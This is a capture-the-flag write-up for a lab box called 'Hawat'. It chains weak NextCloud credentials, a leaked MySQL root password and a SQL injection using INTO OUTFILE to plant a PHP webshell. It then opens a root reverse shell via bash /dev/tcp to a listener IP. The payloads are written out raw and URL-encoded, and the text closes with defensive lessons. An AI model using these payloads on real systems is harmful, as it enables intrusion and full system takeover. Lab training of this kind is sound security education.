Hawat
The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.
TL;DR. Hawat exposes three web apps. On the NextCloud at 50080 we log in withadmin:admin(weak credentials) and download the Issue Tracker source (issuetracker.zip); it reveals a SQLi in/issue/checkByPriorityand the MySQL password (ManagementInsideOld797), which connects as database root. Thephpinfoon 30455 leaks the document root (/srv/http). With the Issue Tracker SQLi (17445) and a UNION +INTO OUTFILEwe write a webshell to/srv/http/cmd.php(SQLi to file write); since the PHP server runs as root, the webshell executes commands asrootand a reverse shell finishes the box.
Recon
Initial scan
The reply TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan.
ping -c 1 192.168.188.14764 bytes from 192.168.188.147: icmp_seq=1 ttl=61 time=29.9 msWe sweep all TCP ports, then fingerprint versions:
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.188.147PORT STATE SERVICE
22/tcp open ssh
17445/tcp open http
30455/tcp open http
50080/tcp open httpnmap -p22,17445,30455,50080 -sCV 192.168.188.147 -oN targetedScanPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4 (protocol 2.0)
17445/tcp open http Apache Tomcat (language: en)
|_http-title: Issue Tracker
30455/tcp open http nginx 1.18.0
|_http-title: W3.CSS
50080/tcp open http Apache httpd 2.4.46 ((Unix) PHP/7.4.15)
|_http-title: W3.CSS TemplateThree web fronts on high ports: an Issue Tracker on Tomcat (17445), an nginx (30455) and an Apache with PHP (50080). Three apps that likely share data or filesystem: that's usually the thread in these boxes.
NextCloud - TCP 50080
dirsearch on 50080 finds a /cloud that redirects to a NextCloud login. We try default credentials and get in with admin:admin (weak credentials):

Inside, among the user's files are an issuetracker.zip (the source code of the 17445 app) and a wshell.php:

We download and unzip it to audit the code:
unzip issuetracker.zip
grep -ri password .
./src/main/java/com/issue/tracker/config/WebSecurityConfig.java: return new BCryptPasswordEncoder();
./src/main/java/com/issue/tracker/issues/IssueController.java: connectionProps.put("password", "ManagementInsideOld797");
./src/main/resources/application.properties:spring.datasource.password=ManagementInsideOld797
./src/main/resources/templates/user_form.html: <label>Password</label>
./src/main/resources/templates/login.html: <label>Password</label>Grepping for passwords turns up ManagementInsideOld797 (in IssueController.java and application.properties); its context shows both the MySQL connection and the vulnerable endpoint:
grep -ri ManagementInsideOld797 . -A 10
The key fragment is the /issue/checkByPriority controller, which concatenates the priority parameter straight into the query and connects to MySQL as root:
@GetMapping("/issue/checkByPriority")
... connectionProps.put("password", "ManagementInsideOld797");
... DriverManager.getConnection("jdbc:mysql://localhost:3306/issue_tracker", ...);
String query = "SELECT message FROM issue WHERE \"+priority+\"";
... stmt.executeQuery(query);Two things: a SQLi confirmed by code, and the DB runs as root (with the FILE privilege needed for INTO OUTFILE).
phpinfo - TCP 30455
dirsearch on 30455 finds a phpinfo.php. That page leaks the PHP server's DOCUMENT_ROOT:
dirsearch -u http://192.168.188.147:30455 --exclude-status=403,404
$_SERVER['DOCUMENT_ROOT'] -> /srv/httpThat's the missing piece: if we can write a file into /srv/http, the PHP server will execute it. It's the natural target for INTO OUTFILE.
Issue Tracker - TCP 17445
The 17445 app is an Issue Tracker with a public issue list and Register and Sign In buttons:

No need to guess credentials: the users module lets you register. We create an account (kmn9) and log in:

And we authenticate with that account:

Once authenticated, we reach the checkByPriority endpoint. A GET returns a Whitelabel Error Page with 405 Method Not Allowed, so we intercept the request with Burp:

From Burp's Repeater, Change request method turns it into a POST, the verb the controller expects:

SQLi to RCE
UNION + INTO OUTFILE: webshell in /srv/http
The priority parameter isn't sanitized. The technique is a SQLi that writes PHP code into a file with INTO OUTFILE and then runs it through the web server, a documented pattern:

We craft a UNION injection that, instead of returning data, writes a PHP file into the discovered document root (/srv/http), using the FILE privilege of MySQL's root account (SQLi with INTO OUTFILE):
' union select '<?php echo system($_GET["cmd"]); ?>' into outfile '/srv/http/cmd.php' -- -We send it through the priority parameter, URL-encoded (with urlencoder.org) in the authenticated request:

%27%20union%20select%20%27%3C%3Fphp%20echo%20system%28%24_GET%5B%22cmd%22%5D%29%3B%20%3F%3E%27%20into%20outfile%20%27%2Fsrv%2Fhttp%2Fcmd.php%27%20--%20-
Shell as root
The webshell runs as root
The file lands at /srv/http/cmd.php, served by the PHP on 30455. We invoke it and check who runs it:
curl 'http://192.168.188.147:30455/cmd.php?cmd=id'
uid=0(root) gid=0(root) groups=0(root)The PHP server runs as root, so the webshell already gives us execution as root. We fire a reverse shell (URL-encoded) to our listener:
Before triggering the shell, we set up an nc listener:
penelope 50080We URL-encode the reverse shell the same way before passing it through cmd:

Encode to URL-encoded format
bash -i >& /dev/tcp/192.168.45.227/50080 0>&1
Destination character set: UTF-8
Destination newline separator: LF (Unix)
[ ENCODE ]
bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.227%2F50080%200%3E%261# cmd = bash -i >& /dev/tcp/192.168.45.227/50080 0>&1
curl 'http://192.168.188.147:30455/cmd.php?cmd=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.227%2F50080%200%3E%261'
(Penelope)> listeners add -p 50080
[+] Listening for reverse shells on 0.0.0.0:50080 ...
[+] Got reverse shell from hawat~192.168.188.147-Linux-x86_64 😎 Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/sbin/script!
[root@hawat http]# id
uid=0(root) gid=0(root) groups=0(root)We read the proof (we're root directly, no escalation):
cat proof.txt && whoami && ip a
a08809bafff16d885f39db1615f7613fAttack chain
NextCloud (50080) -- admin:admin
│ download issuetracker.zip (source code)
│ -> SQLi in /issue/checkByPriority + MySQL root (ManagementInsideOld797)
▼
phpinfo (30455) -- DOCUMENT_ROOT = /srv/http
▼
Issue Tracker (17445) -- register -> authenticated SQLi
│ ' union select '<?php ... ?>' into outfile '/srv/http/cmd.php' -- -
▼
webshell /srv/http/cmd.php -- served by PHP running as root
│ cmd=id -> uid=0(root) -> reverse shell
▼
shell as root (proof.txt)Lessons learned
- Leaked source code is half the box. Downloading
issuetracker.zipfrom NextCloud revealed both the injection point and the database password. Source containing secrets should never sit in an accessible share. - Concatenating parameters into SQL is the same old bug.
WHERE "+priority+"without prepared statements turns a search field into arbitrary file write. INTO OUTFILEneeds three things lined up. A connection as a user with theFILEprivilege (here MySQLroot), a known writable path (phpinfogave/srv/http) and something to execute what's written (the PHP server). Break any of the three and the chain fails.- A web server running as root turns RCE into game over. There was no escalation because the PHP was already
root. Running services as an unprivileged user would have left the RCE aswww-dataand forced a second phase.